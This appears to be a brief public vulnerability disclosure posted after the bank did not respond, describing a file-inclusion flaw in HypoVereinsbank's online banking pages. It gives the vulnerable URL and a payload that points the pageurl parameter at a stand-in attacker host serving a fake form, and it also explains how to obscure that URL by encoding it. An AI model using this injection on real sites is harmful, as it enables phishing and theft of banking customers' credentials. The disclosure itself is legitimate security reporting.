    hello
    
    I found this security issue on the german hypovereins bank.
    They are informed vor 3 months ago , still there is nothing changed.
    The security hole will allow a atacker to include his own forms in the
    website. This will give him an option to collect sensible information.
    It  is a home bankin system!
    
    take a look at this (long) URL:
    http://www.hypovereinsbank.de/pub/templates/index.jsp?pageurl=%2Fpub%2Fio%2Fkarr%2F28100.jsp&id=18&mcontext=menu
    
    now it is possible to change the
    pageurl=%2Fpub%2Fio%2Fkarr%2F28100.jsp&id=18&mcontext=menu
    part to something like pageurl=http://www.evol.org/fake_form.php
    
    ore try :
    http://www.hypovereinsbank.de/pub/templates/index.jsp?pageurl=http://www.google.de
    
    so it is possible to include everything in this webpage.
    The attacker could obscure the url in a form like:
    pageurl=h%74t%70%3A%2Fw%77w%77............
    so the user will not notice that the include form is not from the original
    server
    
    It opens a port to a new form of social hacking and data grabbing.
